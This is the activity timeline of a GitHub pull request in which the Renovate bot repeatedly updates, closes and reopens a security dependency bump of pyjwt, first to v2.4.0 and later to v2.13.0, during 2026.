renovate Bot force-pushed the renovate/pypi-pyjwt-vulnerability branch 2 times, most recently from 6981413 to 62046e3 Compare March 13, 2026 14:52
@renovate renovate Bot changed the title chore(deps): update dependency pyjwt to v2.4.0 [security] chore(deps): update dependency pyjwt to v2.4.0 [security] - autoclosed Mar 27, 2026
@renovate renovate Bot closed this Mar 27, 2026
@renovate renovate Bot changed the title chore(deps): update dependency pyjwt to v2.4.0 [security] - autoclosed chore(deps): update dependency pyjwt to v2.4.0 [security] Mar 30, 2026
@renovate renovate Bot reopened this Mar 30, 2026
@renovate
renovate Bot force-pushed the renovate/pypi-pyjwt-vulnerability branch 2 times, most recently from 62046e3 to ff2852c Compare March 30, 2026 21:42
@renovate renovate Bot changed the title chore(deps): update dependency pyjwt to v2.4.0 [security] chore(deps): update dependency pyjwt to v2.4.0 [security] - autoclosed Apr 27, 2026
@renovate renovate Bot closed this Apr 27, 2026
@renovate renovate Bot changed the title chore(deps): update dependency pyjwt to v2.4.0 [security] - autoclosed chore(deps): update dependency pyjwt to v2.4.0 [security] Apr 27, 2026
@renovate renovate Bot reopened this Apr 27, 2026
@renovate
renovate Bot force-pushed the renovate/pypi-pyjwt-vulnerability branch 2 times, most recently from ff2852c to f15806c Compare April 27, 2026 21:53
@renovate renovate Bot changed the title chore(deps): update dependency pyjwt to v2.4.0 [security] chore(deps): update dependency pyjwt to v2.13.0 [security] Aug 26, 2026
@renovate
renovate Bot force-pushed the renovate/pypi-pyjwt-vulnerability branch from f15806c to e3a86dc Compare August 26, 2026 20:58
@renovate renovate Bot changed the title chore(deps): update dependency pyjwt to v2.13.0 [security] chore(deps): update dependency pyjwt to v2.13.0 [security] - autoclosed Aug 30, 2026
@renovate renovate Bot closed this Aug 30, 2026
@renovate renovate Bot changed the title chore(deps): update dependency pyjwt to v2.13.0 [security] - autoclosed chore(deps): update dependency pyjwt to v2.13.0 [security] Sep 2, 2026
@renovate renovate Bot reopened this Sep 2, 2026
@renovate
renovate Bot force-pushed the renovate/pypi-pyjwt-vulnerability branch from e3a86dc to b9122d8 Compare September 2, 2026 20:40
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants